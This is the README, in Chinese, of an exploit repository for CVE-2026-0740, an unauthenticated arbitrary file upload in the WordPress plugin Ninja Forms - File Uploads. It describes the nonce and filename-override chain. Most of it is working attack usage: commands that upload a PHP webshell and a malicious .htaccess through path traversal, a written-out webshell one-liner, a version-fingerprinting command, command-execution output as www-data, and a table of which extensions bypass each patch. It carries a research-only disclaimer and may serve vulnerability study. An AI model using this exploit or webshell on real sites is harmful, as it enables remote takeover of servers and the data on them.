针对 CVE-2026-0740 的利用脚本,该漏洞由 Selim Lanouar (whattheslime) 发现。
如需完整的技术深入分析,请阅读 Lexfo 博客上的完整文章。
本仓库仅用于研究与防御性安全目的。
作者不对滥用此信息的行为承担任何责任。
WordPress 插件 Ninja Forms - File Uploads 存在未认证的任意文件上传漏洞,可在所有版本(包括 3.3.26 及更早版本)中导致远程代码执行。
该漏洞最初在版本 3.3.23 中被发现并报告。在版本 3.3.24(及更早版本)中,利用过程非常简单(目标文件名无验证)。版本 3.3.25 和 3.3.26 引入了连续的部分补丁,但问题仅在版本 3.3.27 中完全解决。
漏洞利用链如下:
nf_fu_get_new_nonce AJAX 动作,使用任意 field_id 获取有效的上传 nonce。nf_fu_upload 处理器验证上传文件的扩展名(例如 image.jpg),但允许客户端通过 POST 参数(image_jpg)覆盖目标文件名。move_uploaded_file(),且未经过适当的清理,从而允许任意扩展名和路径遍历(../)。请参阅完整博客文章以获取完整的扩展名表格和技术深入分析。
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
文件将被写入 wp-content/uploads/ninja-forms/tmp/test.txt。
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
文件将被写入 wp-content/webshell.php。
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. 检测版本
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. 编写 webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. 上传
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. 执行命令
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 向量 / 扩展名 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
路径遍历(../) | 通过 | - | - | - |
.php | 通过 | - | - | - |
.phtml, .phar | 通过 | 通过 | - | - |
.pht | 通过 | 通过 | 通过 | - |
.html, .svg, .js | 通过 | 通过 | 通过 | - |